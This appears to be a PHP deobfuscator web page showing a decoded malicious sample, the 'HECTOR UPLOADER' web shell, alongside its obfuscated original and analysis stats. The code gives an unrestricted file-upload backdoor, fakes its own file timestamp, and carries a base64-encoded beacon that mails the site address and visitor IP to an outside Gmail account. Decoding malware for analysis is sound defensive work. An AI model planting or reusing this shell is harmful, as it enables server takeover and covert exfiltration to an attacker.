Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000..

Decoded Output download

echo '<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-utf-8">
<title>utf</title>
</head>
<body>
';
echo "<h1>HECTOR UPLOADER</h1>
";
echo "IP: ";
echo $_SERVER['REMOTE_ADDR'];
echo "<form method=\"post\" enctype=\"multipart/form-data\">
";
echo "<input type=\"file\" name=\"newfile\"><br> 
";
echo "<input type=\"submit\" value=\"OK\"><br>
";
echo "</form>
";
if($GLOBALS['IIIIIIIIIIII']($_FILES["newfile"]["tmp_name"]))
{
move_uploaded_file($_FILES["newfile"]["tmp_name"],$_FILES["newfile"]["name"]);
$file = $_FILES["newfile"]["name"];
echo "<a href=\"$file\">$file</a>";
}else {
echo("empty");
}
$newfile = $_SERVER[SCRIPT_FILENAME];
$IIIIIIIIIIlI = $GLOBALS['IIIIIIIIIIll']() -105360688;
$GLOBALS['IIIIIIIIIIl1']($newfile,$IIIIIIIIIIlI);
$IIIIIIIIII1I = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIjE3OC1CbGFjayBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvciAtICR1c2VyIC0gJHBhc3MiOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJoYXJkd2FyZWhlYXZlbi5jb21AZ21haWwuY29tIiwkanVkdWwsJGJvZHksJHVzZXIsJHBhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
eval($GLOBALS['IIIIIIIIII1l']($IIIIIIIIII1I));
;echo '</body>
</html>';;

Did this file decode correctly?

Original Code

<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};?><?php eval($GLOBALS['OOO0000O0']('JElJSUlJSUlJSUkxbD0nYmFzZTY0X2RlY29kZSc7JElJSUlJSUlJSUlsMT0ndG91Y2gnOyRJSUlJSUlJSUlJbGw9J3RpbWUnOyRJSUlJSUlJSUlJSUk9J2lzX3VwbG9hZGVkX2ZpbGUnOw==')); ?><?php /* [email protected] */$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x7ec;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTRiKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdhM21MZS84SVdRNFpyZjl3YmNWcDI3RW82SFlYU3N1akNKTU5La1AweFRSMXlkaDVCQWx2RFUrcUdpRm5PZ3R6PScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>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RUE~eig@hHPsI{tG

Function Calls

fopen 1
fread 3
strtr 2
fclose 1
urldecode 1
str_replace 1
base64_decode 4

Variables

$O000O0O00 True
$O0O000O00 fgets
$O0O000O0O fgetc
$O0O00OO00 fread
$OO00O0000 2028
$OO00O00O0 echo '<html> <head> <meta http-equiv="Content-Type" conten..
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$OOO0O0O00 index.php
$IIIIIIIIII1l base64_decode
$IIIIIIIIIIII is_uploaded_file
$IIIIIIIIIIl1 touch
$IIIIIIIIIIll time

Stats

MD5 7a3639cb1e83848e49554a2a51230aec
Eval Count 4
Decode Time 141 ms